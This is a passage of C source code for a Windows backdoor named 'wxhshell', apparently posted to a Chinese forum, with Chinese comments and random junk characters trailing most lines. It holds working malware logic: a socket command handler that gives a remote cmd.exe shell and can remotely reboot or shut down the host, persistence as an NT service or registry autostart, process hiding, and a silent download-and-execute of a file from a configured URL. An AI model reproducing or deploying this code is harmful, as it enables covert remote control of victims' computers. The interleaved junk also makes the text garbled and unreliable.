    switch(cmd[0]) { (8<U+)[tPy  
  1 )aB']K%  
  // 帮助 :bLLN  
  case '?': { m CFScT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zY<=r.m4  
    break; c}II"P  
  } C?bq7kD:H  
  // 安装 +jFcq:`#UG  
  case 'i': { |wKC9O@%  
    if(Install()) CQo<}}-o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Ot22a  
    else ZJ} V>Bu-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -E4e8'P;5  
    break; `e t0i.  
    } g4WN+y`  
  // 卸载 z?HP%g'M~  
  case 'r': { Z-RgN  
    if(Uninstall()) :XK.A   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); We#u-#k_O  
    else n>tYeN)F<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sXm/+I^  
    break; [YY[E 7  
    } x4cP%{n  
  // 显示 wxhshell 所在路径 ocCC63J  
  case 'p': { KZ/U2.{O<  
    char svExeFile[MAX_PATH]; p/B&R@%  
    strcpy(svExeFile,"\n\r"); 5!r?U  
      strcat(svExeFile,ExeFile); !M&L<0b:7e  
        send(wsh,svExeFile,strlen(svExeFile),0); TOo0rcl  
    break; \4q% n  
    } (yv&&Jc  
  // 重启 hL#5:~(  
  case 'b': { $UMxO`F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u@\]r 1  
    if(Boot(REBOOT)) H gMLh*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +53 Tf  
    else { 'W 5r(M4U  
    closesocket(wsh);  9x/HQ(1  
    ExitThread(0); ?Gc9^b B I  
    } n$Z@7r  
    break; #pbPaRJL(  
    } U+t|wK  
  // 关机 Kd8V,teH  
  case 'd': { R9o3T)9V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #EiOC.A=  
    if(Boot(SHUTDOWN)) C2;qSKG3{m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0FfBD[E:  
    else { &k+G^ !=s#  
    closesocket(wsh); <o^_il$W  
    ExitThread(0);  $j*j {}K  
    } GwHMXtj4  
    break; $\l7aA5~  
    } rxu 6 #v F  
  // 获取shell >s}b q#x  
  case 's': { a;J{'PHu  
    CmdShell(wsh); 5 T1M:~u i  
    closesocket(wsh); Q}~of}h/  
    ExitThread(0); Z -`j)3Y  
    break; JnCp'`  
  } ]%jlaXb  
  // 退出 (i^3Lw :  
  case 'x': { [L 0`B9TD~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ps1ndGp~#  
    CloseIt(wsh); B5>h@p-UV  
    break; h4x*C=?A  
    } rr fL [  
  // 离开 U7d%*g  
  case 'q': { |e@9YDZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @O#4duM4Qz  
    closesocket(wsh); CZ*c["x2  
    WSACleanup(); :1"{0 gm  
    exit(1); h% BA,C  
    break; ;hi+.ng_  
        } jA R@?X  
  } hc}d S$=C  
  } vh3Xd\N  
7q*L-Xe]k  
  // 提示信息 f>i6f@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S 8mqz.  
} /Fej)WQp  
  } @EH:4~  
R4G$!6Ld  
  return; 'NF_!D  
} Z,/BPK<e  
u1a5Vtel  
// shell模块句柄 (#FWA<o  
int CmdShell(SOCKET sock) n.]K"$230  
{ 2'_xg~  
STARTUPINFO si; 57e'a&}e  
ZeroMemory(&si,sizeof(si)); uj|{TV>v9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !={Z]J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;o]'7qGb  
PROCESS_INFORMATION ProcessInfo; :IDD(<^9  
char cmdline[]="cmd"; [uP_F,Y/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yCZV:R;  
  return 0; *(@(9]B~  
} hM^#X,7  
`2\vDy1,j  
// 自身启动模式 kxt@t#  
int StartFromService(void) 9,=3D2x&  
{ Y<M,/Y_ !  
typedef struct MVU5+wX  
{ ]5W0zNb*  
  DWORD ExitStatus; WUx}+3eWv  
  DWORD PebBaseAddress; v;" [1w}  
  DWORD AffinityMask; vt}+d StUm  
  DWORD BasePriority; 8qL*Nf  
  ULONG UniqueProcessId; Xk%92Pto  
  ULONG InheritedFromUniqueProcessId; g#qt<d}j  
}   PROCESS_BASIC_INFORMATION; @ROMHMd}  
@0A7d $J(  
PROCNTQSIP NtQueryInformationProcess; wvsKn YKX  
Ub=g<MYHV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Cw]& B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {LfVV5?  
hXdc5 ?i?  
  HANDLE             hProcess; _#xS1sD  
  PROCESS_BASIC_INFORMATION pbi; @Y+YN;57  
p@]\ N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >oi`%V  
  if(NULL == hInst ) return 0; K.c6n,'  
q y73  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }yZ9pTB.?E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YG ,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3 RG*:9  
:5hKE(3Q  
  if (!NtQueryInformationProcess) return 0; '&,$"QXwE  
e eb`Ao  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rtf\{u9 }g  
  if(!hProcess) return 0; r4/G&m[V  
p x1y#Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3/V&PDC*'  
.w3.zZ0[  
  CloseHandle(hProcess); 9 lE[oAC  
lR[[]Yn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "mc/fp  
if(hProcess==NULL) return 0; ($EA/|z  
9,\b$?9  
HMODULE hMod; |D<J9+  
char procName[255]; ~*RG|4#  
unsigned long cbNeeded; ]b!o(5m  
B}_*0D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0A\OZ^P8  
yi*)g0M  
  CloseHandle(hProcess); c jfYE]  
TUoEk  
if(strstr(procName,"services")) return 1; // 以服务启动 1o\P7P Le  
asqbLtQ  
  return 0; // 注册表启动 ,>lOmyh  
} j\& `  
*4#)or  
// 主模块 ,.[T]37  
int StartWxhshell(LPSTR lpCmdLine) ;Ak<O[  
{ p`:hY`P  
  SOCKET wsl; b,"gBg  
BOOL val=TRUE; {]1o($.u  
  int port=0;  ZaJg$  
  struct sockaddr_in door; mne4uW  
h`n,:Y^++P  
  if(wscfg.ws_autoins) Install(); >+y[HTf-  
rZ`ob x\S  
port=atoi(lpCmdLine); }&A!h  
$5kb3x<W  
if(port<=0) port=wscfg.ws_port; vgY ) L  
dPplZ,Y%  
  WSADATA data; u;p.:{'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o))z8n?b  
m  "'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /H.w0fu&.S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L+,p#w  
  door.sin_family = AF_INET; %+gYZv-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =Hplg>h)  
  door.sin_port = htons(port); AsJN~<0h  
! J`>;&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &nkYJi(!  
closesocket(wsl); Hhx"47:  
return 1; 3V ~871:-~  
} dbM~41C6  
ssaEAm:  
  if(listen(wsl,2) == INVALID_SOCKET) { Ji4xor  
closesocket(wsl); pw|f4c7AH  
return 1; B1)gudP`  
} {3n|=  
  Wxhshell(wsl); 4po zTe  
  WSACleanup(); n{sF'n</  
SQ%B"1&$D  
return 0; ,aOi:aaZRT  
j"6r]nc&  
} o %GVg  
8,iBG! RF  
// 以NT服务方式启动 &Omo\Oq&W>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lz2B,#  
{ 3z7SK Gy  
DWORD   status = 0; nvY3$ Ty  
  DWORD   specificError = 0xfffffff; K8[vJ7(!|  
Y,BzBUWK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "B`k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o 4G%m>$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _9yb5_  
  serviceStatus.dwWin32ExitCode     = 0;  v?Dc3  
  serviceStatus.dwServiceSpecificExitCode = 0; FYPv:k   
  serviceStatus.dwCheckPoint       = 0; dr3j<D-Q  
  serviceStatus.dwWaitHint       = 0; cmG*"  
v2=Iqo  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }j<:hD QP  
  if (hServiceStatusHandle==0) return; |@'/F#T  
J>_|hg=  
status = GetLastError(); {wsO8LX  
  if (status!=NO_ERROR) S -$ L2N  
{ $ 9bIUJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %oPW`r  
    serviceStatus.dwCheckPoint       = 0; m?3!  
    serviceStatus.dwWaitHint       = 0; 0u[Vd:()v(  
    serviceStatus.dwWin32ExitCode     = status; .*FBr7rE\  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6ub-NtVu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  NGQBOV  
    return; A|jmp~@K)+  
  } XC 44]o4jx  
h r@c7/L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Zo$ ,{rl  
  serviceStatus.dwCheckPoint       = 0; t Qo) *z  
  serviceStatus.dwWaitHint       = 0; = iJfz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0"l*8%g  
} Y9V%eFY5E  
K1y]  
// 处理NT服务事件,比如:启动、停止 E"i<fr T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `)5,!QPQ7u  
{ a,eR'L<"*-  
switch(fdwControl) 'T=$Q%Qv  
{ VF#2I %R*  
case SERVICE_CONTROL_STOP: ])`+ 78  
  serviceStatus.dwWin32ExitCode = 0; x=-dv8N?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =NJ:%kvF  
  serviceStatus.dwCheckPoint   = 0; =VA5!-6<Uq  
  serviceStatus.dwWaitHint     = 0; rl:6N*kK  
  { $D;/b+a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n^}M*#  
  } Iv,Ub_Ll9  
  return; 2rxZN\gyL  
case SERVICE_CONTROL_PAUSE: T''PzY!Qf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tE|W8=be/  
  break; O*qSc^9q  
case SERVICE_CONTROL_CONTINUE: Ml-GAkgG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +]?/c>M  
  break; wWq(|"  
case SERVICE_CONTROL_INTERROGATE: Buxn!s  
  break; ?a)X)#lQ  
}; Mw{0A\6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,orq&#*Wd  
} kT7x !7C  
<HYK9{Q  
// 标准应用程序主函数 LYTx8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h>0R!Rl8  
{ r0MUv}p#|L  
=yT3#A~<G  
// 获取操作系统版本 R1,.H92  
OsIsNt=GetOsVer(); Tt^PiaS!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /NE<?t N  
gc5u@(P"  
  // 从命令行安装  3)D'Yx  
  if(strpbrk(lpCmdLine,"iI")) Install(); o`tOnwt  
I`e$U  
  // 下载执行文件 aC!e#(q  
if(wscfg.ws_downexe) { BH`%3Mw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;i;2cq  
  WinExec(wscfg.ws_filenam,SW_HIDE); &\n<pXQ  
} tccw0  
,=Q;@Z4 vJ  
if(!OsIsNt) { /R/\>'{E&c  
// 如果时win9x,隐藏进程并且设置为注册表启动 yM_ta '^$  
HideProc(); F+!w[}0  
StartWxhshell(lpCmdLine); U3UKu/Z  
} |gV$ks\<  
else _1>Xk_  
  if(StartFromService()) adCTo  
  // 以服务方式启动 "c+j2f'f  
  StartServiceCtrlDispatcher(DispatchTable); jRn5)u  
else DHI%R<  
  // 普通方式启动 )Z/L  
  StartWxhshell(lpCmdLine); hq[:U?!Tt  
st7\k]J\  
return 0; MC'2;,  
}
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只看该作者 1 发表于: 2006-10-10
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